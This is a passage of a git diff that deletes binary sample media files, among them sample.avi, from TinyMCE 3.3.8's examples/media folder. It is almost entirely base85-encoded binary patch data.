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 S-qS7kw!Q$6SxdEE=Kl{(%`j~M diff --git a/tinymce-3.3.8/examples/media/sample.avi b/tinymce-3.3.8/examples/media/sample.avi deleted file mode 100644 index 238bb688a5bd844ec8ada2d20bc4c796c7ccafe3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 82944 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 